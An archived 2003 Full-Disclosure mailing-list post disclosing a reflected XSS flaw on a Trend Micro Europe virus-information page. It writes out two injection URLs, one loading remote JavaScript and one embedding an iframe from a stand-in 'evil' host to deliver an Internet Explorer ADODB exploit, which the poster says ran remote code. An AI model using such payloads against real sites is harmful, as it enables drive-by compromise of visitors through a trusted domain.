full-disclosure - Selfmade worms in the wild ;)

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]

From: se_cur_ity at hotmail.com (morning_wood)
Subject: Selfmade worms in the wild ;)

well... lets see, we could make it an untrusted link by

"
http://de.trendmicro-europe.com/enterprise/security_info/ve_detail.php?id=55756&
VName=WORM_MSBLAST.<script%20language="JavaScript"%20src="http://www.astalavista
.com/backend/news.js"%20type="text/javascript"></script> "

and include some remote javascript of our choice, or the latest IE ADODB explot.
the obvious choice for that would be the classic..

http://de.trendmicro-europe.com/enterprise/security_info/ve_detail.php?id=55756&
VName=WORM_MSBLAST.<iframe
src="http://some-evil-host/script/orhtml/etc/bla/"></iframe>

for everones info, the above was tested with the ADODB exploit to execute
remote code... sucessfully i might add. ( unpatched IE )

this goes to show that XSS is still very much a security concern, especially
coupled together with the lastest browser exploit to become a very dangerous
vector of attack, especially by way of a previously "trusted" URL.

this is not looking real good for trend.

good job Mo 8-)

morning_wood
http://exploitlabs.com
http://e2-labs.com

----- Original Message -----
From: "Redaktion-Kryptocrew" <momolly@...ptocrew.de>
To: <full-disclosure@...ts.netsys.com>
Sent: Friday, August 29, 2003 12:02 AM
Subject: [Full-Disclosure] Selfmade worms in the wild ;)

> You can change id's and names...
> -mo-
> Kryptocrew
> .: your security advisor team :.           mailto:momolly@...ptocrew.de
>